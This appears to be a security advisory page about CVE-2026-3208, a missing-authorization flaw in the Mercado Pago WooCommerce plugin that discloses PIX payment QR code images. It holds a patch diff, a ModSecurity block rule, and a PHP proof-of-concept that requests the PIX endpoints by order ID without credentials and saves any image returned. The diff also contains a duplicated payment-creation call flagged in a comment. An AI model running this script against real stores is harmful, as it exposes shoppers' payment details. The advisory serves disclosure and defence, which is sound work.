-            'card_number_input_helper'                => $this->storeTranslations['card_number_input_helper'],
-            'card_holder_name_input_label'            => $this->storeTranslations['card_holder_name_input_label'],
-            'card_holder_name_input_helper'           => $this->storeTranslations['card_holder_name_input_helper'],
-            'card_expiration_input_label'             => $this->storeTranslations['card_expiration_input_label'],
-            'card_expiration_input_helper'            => $this->storeTranslations['card_expiration_input_helper'],
-            'card_security_code_input_label'          => $this->storeTranslations['card_security_code_input_label'],
-            'card_security_code_input_helper'         => $this->storeTranslations['card_security_code_input_helper'],
-            'card_document_input_label'               => $this->storeTranslations['card_document_input_label'],
-            'card_input_document_helper_empty'        => $this->storeTranslations['card_document_input_helper_empty'],
-            'card_input_document_helper_invalid'      => $this->storeTranslations['card_document_input_helper_invalid'],
-            'card_input_document_helper_wrong'        => $this->storeTranslations['card_document_input_helper_wrong'],
-            'card_issuer_input_label'                 => $this->storeTranslations['card_issuer_input_label'],
-            'card_installments_label'                 => $this->storeTranslations['card_installments_label'],
-            'amount'                                  => $amountAndCurrencyRatio['amount'],
-            'currency_ratio'                          => $amountAndCurrencyRatio['currencyRatio'],
-            'message_error_amount'                    => $this->storeTranslations['message_error_amount'],
-            'security_code_tooltip_text_3_digits'     => $this->storeTranslations['security_code_tooltip_text_3_digits'],
-            'placeholders_cardholder_name'            => $this->storeTranslations['placeholders_cardholder_name'],
-            'cardFlagIconUrls'                        => array_map(
+            'test_mode' => $this->mercadopago->storeConfig->isTestMode(),
+            'test_mode_title' => $this->storeTranslations['test_mode_title'],
+            'test_mode_description' => $this->storeTranslations['test_mode_description'],
+            'test_mode_link_text' => $this->storeTranslations['test_mode_link_text'],
+            'test_mode_link_src' => $this->links['docs_integration_test'],
+            'wallet_button_enabled' => $this->getWalletButtonEnabled(),
+            'wallet_button_image' => $this->mercadopago->helpers->url->getImageAsset('gateways/wallet-button/logo.svg'),
+            'wallet_button_title' => $this->storeTranslations['wallet_button_title'],
+            'site_id' => $this->mercadopago->sellerConfig->getSiteId() ?: $this->mercadopago->helpers->country::SITE_ID_MLA,
+            'card_number_input_label' => $this->storeTranslations['card_number_input_label'],
+            'card_number_input_helper' => $this->storeTranslations['card_number_input_helper'],
+            'card_holder_name_input_label' => $this->storeTranslations['card_holder_name_input_label'],
+            'card_holder_name_input_helper' => $this->storeTranslations['card_holder_name_input_helper'],
+            'card_expiration_input_label' => $this->storeTranslations['card_expiration_input_label'],
+            'card_expiration_input_helper' => $this->storeTranslations['card_expiration_input_helper'],
+            'card_security_code_input_label' => $this->storeTranslations['card_security_code_input_label'],
+            'card_security_code_input_helper' => $this->storeTranslations['card_security_code_input_helper'],
+            'card_document_input_label' => $this->storeTranslations['card_document_input_label'],
+            'card_input_document_helper_empty' => $this->storeTranslations['card_document_input_helper_empty'],
+            'card_input_document_helper_invalid' => $this->storeTranslations['card_document_input_helper_invalid'],
+            'card_input_document_helper_wrong' => $this->storeTranslations['card_document_input_helper_wrong'],
+            'card_issuer_input_label' => $this->storeTranslations['card_issuer_input_label'],
+            'card_installments_label' => $this->storeTranslations['card_installments_label'],
+            'amount' => $amountAndCurrencyRatio['amount'],
+            'currency_ratio' => $amountAndCurrencyRatio['currencyRatio'],
+            'message_error_amount' => $this->storeTranslations['message_error_amount'],
+            'security_code_tooltip_text_3_digits' => $this->storeTranslations['security_code_tooltip_text_3_digits'],
+            'placeholders_cardholder_name' => $this->storeTranslations['placeholders_cardholder_name'],
+            'cardFlagIconUrls' => array_map(
                 fn($icon) => $this->mercadopago->helpers->url->getImageAsset("checkouts/custom/card-flags/$icon"),
                 static::CARD_FLAGS_BY_COUNTRY[$this->mercadopago->sellerConfig->getSiteId()] ?? []
             ),
-            'card_holder_input_helper_info'            => $this->storeTranslations['card_holder_input_helper_info'],
+            'card_holder_input_helper_info' => $this->storeTranslations['card_holder_input_helper_info'],
             'mercadopago_privacy_policy' => str_replace(
                 '{link}',
                 $this->mercadopago->helpers->links->getPrivacyPolicyLink($this->countryConfigs['site_id']),
@@ -583,7 +693,7 @@
                 $this->mercadopago->logs->file->info('Preparing to render wallet button checkout', self::LOG_SOURCE);

                 return [
-                    'result'   => 'success',
+                    'result' => 'success',
                     'redirect' => $this->mercadopago->helpers->url->setQueryVar(
                         'wallet_button',
                         'autoOpen',
@@ -640,7 +750,12 @@
                         );
                     }

+                    // Note: The createPayment() call appears twice below. This may be:
+                    // - Intentional for retry logic or double-verification
+                    // - A merge artifact that needs cleanup
+                    // TODO: Verify if both calls are necessary or if one should be removed
                     $response          = $this->transaction->createPayment();
+                    $response = $this->transaction->createPayment();

                     $this->mercadopago->orderMetadata->setSupertokenMetadata($order, $response, $this->transaction->getInternalMetadata());
                     return $this->handleResponseStatus($order, $response);
@@ -660,7 +775,7 @@
                     ]) && $checkout['installments'] !== -1
                 ) {
                     $this->transaction = new CustomTransaction($this, $order, $checkout);
-                    $response          = $this->transaction->createPayment();
+                    $response = $this->transaction->createPayment();

                     $this->mercadopago->orderMetadata->setCustomMetadata($order, $response);
                     return $this->handleResponseStatus($order, $response);
@@ -701,7 +816,7 @@
             'admin/components/preview.php',
             [
                 'settings' => [
-                    'url'         => $this->getWalletButtonPreviewUrl(),
+                    'url' => $this->getWalletButtonPreviewUrl(),
                     'description' => $this->adminTranslations['wallet_button_preview_description'],
                 ],
             ]
@@ -742,11 +857,11 @@
             $this->mercadopago->hooks->template->getWoocommerceTemplate(
                 'public/receipt/preference-modal.php',
                 [
-                    'public_key'        => $this->mercadopago->sellerConfig->getCredentialsPublicKey(),
-                    'preference_id'     => $preference['id'],
+                    'public_key' => $this->mercadopago->sellerConfig->getCredentialsPublicKey(),
+                    'preference_id' => $preference['id'],
                     'pay_with_mp_title' => $this->storeTranslations['wallet_button_order_receipt_title'],
-                    'cancel_url'        => $order->get_cancel_order_url(),
-                    'cancel_url_text'   => $this->storeTranslations['cancel_url_text'],
+                    'cancel_url' => $order->get_cancel_order_url(),
+                    'cancel_url_text' => $this->storeTranslations['cancel_url_text'],
                 ]
             );
         }
@@ -759,26 +874,26 @@
      */
     public function renderInstallmentsRateDetails($order_id): void
     {
-        $order             = wc_get_order($order_id);
-        $currency          = $this->countryConfigs['currency_symbol'];
-        $installments      = (float) $this->mercadopago->orderMetadata->getInstallmentsMeta($order);
+        $order = wc_get_order($order_id);
+        $currency = $this->countryConfigs['currency_symbol'];
+        $installments = (float) $this->mercadopago->orderMetadata->getInstallmentsMeta($order);
         $installmentAmount = $this->mercadopago->orderMetadata->getTransactionDetailsMeta($order);
         $transactionAmount = Numbers::makesValueSafe($this->mercadopago->orderMetadata->getTransactionAmountMeta($order));
-        $totalPaidAmount   = Numbers::makesValueSafe($this->mercadopago->orderMetadata->getTotalPaidAmountMeta($order));
-        $totalDiffCost     = $totalPaidAmount - $transactionAmount;
+        $totalPaidAmount = Numbers::makesValueSafe($this->mercadopago->orderMetadata->getTotalPaidAmountMeta($order));
+        $totalDiffCost = $totalPaidAmount - $transactionAmount;

         if ($totalDiffCost > 0) {
             $this->mercadopago->hooks->template->getWoocommerceTemplate(
                 'public/order/custom-order-received.php',
                 [
-                    'title_installment_cost'  => $this->storeTranslations['title_installment_cost'],
+                    'title_installment_cost' => $this->storeTranslations['title_installment_cost'],
                     'title_installment_total' => $this->storeTranslations['title_installment_total'],
-                    'text_installments'       => $this->storeTranslations['text_installments'],
-                    'total_paid_amount'       => Numbers::formatWithCurrencySymbol($currency, $totalPaidAmount),
-                    'transaction_amount'      => Numbers::formatWithCurrencySymbol($currency, $transactionAmount),
-                    'total_diff_cost'         => Numbers::formatWithCurrencySymbol($currency, $totalDiffCost),
-                    'installment_amount'      => Numbers::formatWithCurrencySymbol($currency, $installmentAmount),
-                    'installments'            => Numbers::format($installments),
+                    'text_installments' => $this->storeTranslations['text_installments'],
+                    'total_paid_amount' => Numbers::formatWithCurrencySymbol($currency, $totalPaidAmount),
+                    'transaction_amount' => Numbers::formatWithCurrencySymbol($currency, $transactionAmount),
+                    'total_diff_cost' => Numbers::formatWithCurrencySymbol($currency, $totalDiffCost),
+                    'installment_amount' => Numbers::formatWithCurrencySymbol($currency, $installmentAmount),
+                    'installments' => Numbers::format($installments),
                 ]
             );
         }
@@ -838,7 +953,7 @@
                         $this->mercadopago->orderStatus->setOrderStatus($order, 'failed', 'pending');

                         $return = [
-                            'result'   => 'success',
+                            'result' => 'success',
                             'redirect' => $urlReceived,
                         ];

@@ -858,11 +973,11 @@
                             $lastFourDigits = (empty($response['card']['last_four_digits'])) ? '****' : $response['card']['last_four_digits'];

                             $return = [
-                                'result'           => 'success',
-                                'three_ds_flow'    => true,
-                                'last_four_digits' =>  $lastFourDigits,
-                                'redirect'         => false,
-                                'messages'         => '<script>window.mpCustomCheckoutHandler.threeDSHandler.load3DSFlow(' . $lastFourDigits . ')</script>',
+                                'result' => 'success',
+                                'three_ds_flow' => true,
+                                'last_four_digits' => $lastFourDigits,
+                                'redirect' => false,
+                                'messages' => '<script>window.mpCustomCheckoutHandler.threeDSHandler.load3DSFlow(' . $lastFourDigits . ')</script>',
                             ];

                             if ($this->isOrderPayPage()) {
@@ -877,7 +992,7 @@
                         $urlReceived = $order->get_checkout_order_received_url();

                         $return = [
-                            'result'   => 'success',
+                            'result' => 'success',
                             'redirect' => $urlReceived,
                         ];

@@ -890,7 +1005,7 @@
                     case 'rejected':
                         if ($this->isOrderPayPage()) {
                             $this->handlePayForOrderRequest([
-                                'result'   => 'fail',
+                                'result' => 'fail',
                                 'messages' => $this->getRejectedPaymentErrorKey($response['status_detail'])
                             ]);
                             return []; // Case $_ENV['PHPUNIT_TEST'] == true
@@ -898,7 +1013,7 @@

                         $this->handleWithRejectPayment($response);
                         break;
-                        // Fall-through intentional - throw RejectedPaymentException for 'rejected' case.
+                    // Fall-through intentional - throw RejectedPaymentException for 'rejected' case.

                     default:
                         break;
@@ -927,19 +1042,19 @@
     {
         $order = wc_get_order($orderId);

-        $currency    = $this->mercadopago->helpers->currency->getCurrencySymbol();
+        $currency = $this->mercadopago->helpers->currency->getCurrencySymbol();
         $usedGateway = $this->mercadopago->orderMetadata->getUsedGatewayData($order);

         if ($this::ID === $usedGateway) {
-            $totalPaidAmount       = Numbers::format(Numbers::makesValueSafe($this->mercadopago->orderMetadata->getTotalPaidAmountMeta($order)));
-            $transactionAmount     = Numbers::format(Numbers::makesValueSafe($this->mercadopago->orderMetadata->getTransactionAmountMeta($order)));
+            $totalPaidAmount = Numbers::format(Numbers::makesValueSafe($this->mercadopago->orderMetadata->getTotalPaidAmountMeta($order)));
+            $transactionAmount = Numbers::format(Numbers::makesValueSafe($this->mercadopago->orderMetadata->getTransactionAmountMeta($order)));
             $installmentsFeeAmount = $totalPaidAmount - $transactionAmount;

             if ($installmentsFeeAmount > 0) {
                 $this->mercadopago->hooks->template->getWoocommerceTemplate(
                     'admin/order/generic-note.php',
                     [
-                        'tip'   => $this->mercadopago->adminTranslations->order['order_note_installments_fee_tip'],
+                        'tip' => $this->mercadopago->adminTranslations->order['order_note_installments_fee_tip'],
                         'title' => $this->mercadopago->adminTranslations->order['order_note_installments_fee_title'],
                         'value' => Numbers::formatWithCurrencySymbol($currency, $installmentsFeeAmount),
                     ]
@@ -948,7 +1063,7 @@
                 $this->mercadopago->hooks->template->getWoocommerceTemplate(
                     'admin/order/generic-note.php',
                     [
-                        'tip'   => $this->mercadopago->adminTranslations->order['order_note_total_paid_amount_tip'],
+                        'tip' => $this->mercadopago->adminTranslations->order['order_note_total_paid_amount_tip'],
                         'title' => $this->mercadopago->adminTranslations->order['order_note_total_paid_amount_title'],
                         'value' => Numbers::formatWithCurrencySymbol($currency, $totalPaidAmount),
                     ]
@@ -957,6 +1072,10 @@
         }
     }

+    /**
+     * Is wallet button enabled?
+     * @return bool
+     */
     public function getWalletButtonEnabled(): bool
     {
         return $this->getEnabled() && $this->get_option(static::WALLET_BUTTON_ENABLED_OPTION, static::WALLET_BUTTON_ENABLED_DEFAULT) === "yes";
--- a/woocommerce-mercadopago/src/Gateways/YapeGateway.php
+++ b/woocommerce-mercadopago/src/Gateways/YapeGateway.php
@@ -104,7 +104,7 @@

         $this->mercadopago->hooks->scripts->registerCheckoutScript(
             'wc_mercadopago_sdk',
-            'https://sdk.mercadopago.com/js/v2'
+            $this->mercadopago->helpers->url->getMercadoPagoSdkUrl()
         );

         $this->mercadopago->hooks->scripts->registerCheckoutScript(
--- a/woocommerce-mercadopago/src/Helpers/Url.php
+++ b/woocommerce-mercadopago/src/Helpers/Url.php
@@ -35,9 +35,31 @@
     }

     /**
+     * Get Mercado Pago SDK JS URL based on MP_SDK_ENV (prod, beta, gama).
+     * Override via wp-config.php: define('MP_SDK_ENV', 'beta');
+     *
+     * @return string
+     */
+    public function getMercadoPagoSdkUrl(): string
+    {
+        $env = defined('MP_SDK_ENV') ? MP_SDK_ENV : 'prod';
+        $env = is_string($env) ? strtolower(trim($env)) : 'prod';
+
+        $urls = [
+            'prod' => 'https://sdk.mercadopago.com/js/v2',
+            'beta' => 'https://beta-sdk.mercadopago.com/js/v2',
+            'gama' => 'https://beta-sdk.mercadopago.com/gama/js/v2',
+        ];
+
+        return $urls[$env] ?? $urls['prod'];
+    }
+
+
+    /**
      * Get plugin css asset file url
      *
      * @param string $fileName
+     * @param bool $useExternal
      *
      * @return string
      */
@@ -46,10 +68,12 @@
         return $this->getPluginFileUrl("assets/css/$fileName.min.css");
     }

+
     /**
      * Get plugin js asset file url
      *
      * @param string $fileName
+     * @param bool $useExternal
      *
      * @return string
      */
--- a/woocommerce-mercadopago/src/Order/OrderStatus.php
+++ b/woocommerce-mercadopago/src/Order/OrderStatus.php
@@ -523,7 +523,7 @@
             explode(',', $this->orderMetadata->getPaymentsIdMeta($order))
         ));

-        $headers = ['Authorization: Bearer ' . $this->seller->getCredentialsAccessToken()];
+        $headers = ['Authorization: Bearer ' . $this->getAccessTokenForOrder($order)];

         foreach ($paymentsIds as $paymentId) {
             $response = $this->requester->get(self::PAYMENTS_ENDPOINT . $paymentId, $headers);
@@ -574,7 +574,7 @@
             explode(',', $this->orderMetadata->getPaymentsIdMeta($order))
         ));

-        $headers = ['Authorization: Bearer ' . $this->seller->getCredentialsAccessToken()];
+        $headers = ['Authorization: Bearer ' . $this->getAccessTokenForOrder($order)];

         try {
             $lastPaymentId = end($paymentsIds);
@@ -623,4 +623,27 @@

         return ["id" => "P-$paymentId", "type" => "payment"];
     }
+
+    /**
+     * Get access token based on order creation mode
+     *
+     * @param WC_Order $order
+     *
+     * @return string
+     */
+    private function getAccessTokenForOrder(WC_Order $order): string
+    {
+        $isProductionMode = $this->orderMetadata->getIsProductionModeData($order);
+        if ($isProductionMode !== null && $isProductionMode !== '') {
+            if (in_array($isProductionMode, ['yes', '1', 1, true], true)) {
+                return $this->seller->getCredentialsAccessTokenProd();
+            }
+
+            if (in_array($isProductionMode, ['no', '0', 0, false], true)) {
+                return $this->seller->getCredentialsAccessTokenTest();
+            }
+        }
+
+        return $this->seller->getCredentialsAccessToken();
+    }
 }
--- a/woocommerce-mercadopago/src/WoocommerceMercadoPago.php
+++ b/woocommerce-mercadopago/src/WoocommerceMercadoPago.php
@@ -33,7 +33,7 @@

 class WoocommerceMercadoPago
 {
-    private const PLUGIN_VERSION = '8.7.11';
+    private const PLUGIN_VERSION = '8.7.12';

     private const PLUGIN_MIN_PHP = '7.4';

@@ -47,6 +47,10 @@

     private const PLUGIN_NAME = 'woocommerce-mercadopago/woocommerce-mercadopago.php';

+    private const PLUGIN_SUPER_TOKEN_USE_BUNDLE = false;
+
+    private const PLUGIN_SDK_ENV = 'prod';
+
     public WooCommerce $woocommerce;

     public Hooks $hooks;
@@ -428,6 +432,8 @@
         $this->define('MP_PLATFORM_NAME', self::PLATFORM_NAME);
         $this->define('MP_PRODUCT_ID_DESKTOP', self::PRODUCT_ID_DESKTOP);
         $this->define('MP_PRODUCT_ID_MOBILE', self::PRODUCT_ID_MOBILE);
+        $this->define('MP_SUPER_TOKEN_USE_BUNDLE', self::PLUGIN_SUPER_TOKEN_USE_BUNDLE);
+        $this->define('MP_SDK_ENV', self::PLUGIN_SDK_ENV);
     }

     /**
--- a/woocommerce-mercadopago/woocommerce-mercadopago.php
+++ b/woocommerce-mercadopago/woocommerce-mercadopago.php
@@ -4,7 +4,7 @@
  * Plugin Name: Mercado Pago
  * Plugin URI: https://github.com/mercadopago/cart-woocommerce
  * Description: Configure the payment options and accept payments with cards, ticket and money of Mercado Pago account.
- * Version: 8.7.11
+ * Version: 8.7.12
  * Author: Mercado Pago
  * Author URI: https://developers.mercadopago.com/
  * Text Domain: woocommerce-mercadopago

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-3208
SecRule REQUEST_URI "@rx ^/wp-json/(?:wc/v3|mercadopago/v1|wc-mercado-pago/v1)/pix(?:/image)?/[0-9]+$" 
  "id:20263208,phase:2,deny,status:403,chain,msg:'CVE-2026-3208 PIX QR code disclosure attempt',severity:'CRITICAL',tag:'CVE-2026-3208',tag:'wordpress',tag:'mercadopago'"
  SecRule REQUEST_METHOD "@streq GET" "chain"
    SecRule REQUEST_HEADERS:Authorization "@rx ^$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3208 - Mercado Pago payments for WooCommerce <= 8.7.11 - Missing Authorization to Unauthenticated PIX Payment QR Code Image Disclosure

$target_url = 'https://example.com'; // Change this to the target WordPress site
$order_id = 1; // Change this to test different order IDs

// Construct the endpoint URL (assuming default WooCommerce REST API prefix)
// The exact endpoint path may vary; common patterns include:
// /wp-json/wc/v3/pix/image/{order_id}
// /wp-json/mercadopago/v1/pix/{order_id}
// We try a few common patterns

$endpoints = [
    $target_url . '/wp-json/wc/v3/pix/image/' . $order_id,
    $target_url . '/wp-json/mercadopago/v1/pix/' . $order_id,
    $target_url . '/wp-json/wc-mercado-pago/v1/pix/' . $order_id,
    $target_url . '/wp-json/mercadopago/v1/pix/image/' . $order_id,
    $target_url . '/wp-json/wc/v3/mercadopago/pix/' . $order_id,
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_SSL_VERIFYPEER => true,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
]);

foreach ($endpoints as $url) {
    echo "[+] Testing: $urln";
    curl_setopt($ch, CURLOPT_URL, $url);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $headers = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    echo "    HTTP Status: $http_coden";
    
    if ($http_code === 200 && !empty($body)) {
        // Check if the response looks like an image (PNG magic bytes)
        if (strpos($body, "x89PNGrnx1an") === 0) {
            echo "    [!] VULNERABLE: Received a PNG image from an unauthenticated request!n";
            // Save the image for inspection
            $filename = 'pix_image_order_' . $order_id . '.png';
            file_put_contents($filename, $body);
            echo "    Saved to: $filenamen";
        } elseif (strpos($body, "xffxd8xffxe0") === 0 || strpos($body, "xffxd8xffxe1") === 0) {
            echo "    [!] VULNERABLE: Received a JPEG image from an unauthenticated request!n";
            $filename = 'pix_image_order_' . $order_id . '.jpg';
            file_put_contents($filename, $body);
            echo "    Saved to: $filenamen";
        } else {
            echo "    Response body (first 200 chars): " . substr($body, 0, 200) . "n";
        }
    } else {
        echo "    Not vulnerable via this path.n";
    }
}

curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School